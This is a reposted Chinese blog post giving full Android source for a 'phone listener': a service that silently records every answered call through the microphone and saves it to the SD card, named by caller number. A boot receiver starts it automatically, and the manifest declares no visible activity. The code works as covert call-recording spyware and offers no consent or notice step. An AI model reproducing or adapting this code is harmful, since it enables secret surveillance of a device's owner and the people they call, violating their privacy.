[转载](Android小应用)电话监听器

package com.studio.listener;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenerService extends Service {

    private String TAG = "PhoneListenerService";//这里设置一个Log标志，方便于调试

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }
    /**
     * 此处复写onCreate()方法，当这个服务被创建的时候就实现监听
     */
    @Override
    public void onCreate() {
        // TODO Auto-generated method stub
        super.onCreate();
        /* 取得电话服务 */
        TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        PhoneStateListener listener = new PhoneStateListener() {
            private String number;//定义一个监听电话号码
            private boolean isRecord;//定义一个当前是否正在复制的标志
            private MediaRecorder recorder;//媒体复制类

            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE:/* 无任何状态 */
                    number = null;
                    if (recorder != null && isRecord) {
                        Log.i(TAG, "录音完成");//设定一个录音完成的标志，方便调试
                        recorder.stop();//录音完成
                        recorder.reset(); 
                        recorder.release();
                        isRecord = false;//录音完成，改变状态标志
                    }
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起电话 */
                    // 录制声音，这是录音的核心代码
                    try {
                        Log.i(TAG, "开始录音");
                        recorder = new MediaRecorder();
                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定义声音来自于麦克风
                        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我们定义存储格式为3gp
                        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我编码
                        SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此处定义一个format类，方便对录音文件进行命名
                        String fileName = this.number + "_"    + format.format(new Date());
                        /* 定义录音文件的输出路径，这里我们先保存到sdcard */
                        recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp");
                        recorder.prepare();
                        recorder.start(); // 开始刻录
                        isRecord = true;

                    } catch (Exception e) {
                        Log.e(TAG, e.toString());
                    }

                    break;
                case TelephonyManager.CALL_STATE_RINGING:/* 电话进来 */
                    this.number = incomingNumber;
                    break;

                default:
                    break;
                }
            }

        };
        // 监听电话的状态
        telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        Log.i(TAG, "服务已经启动");
    }

}

<service android:name="PhoneListenerService"></service>

package com.studio.listener;


import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub

        Intent service = new Intent(context, PhoneListenerService.class);//定义一个意图
        context.startService(service);//开启服务
    }

}

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.studio.listener"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdk android:minSdkVersion="10" />
    <!-- 对外部存储设备的写入权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
    <!-- 对外部文件的写入和删除权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>
    <!-- 音频刻录权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>
    <!-- 接收手机完全开启状态权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
    <!-- 读取电话状态权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <service android:name="PhoneListenerService"></service>
        <receiver android:name="BootBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"></action>
            </intent-filter>
        </receiver>

    </application>
</manifest>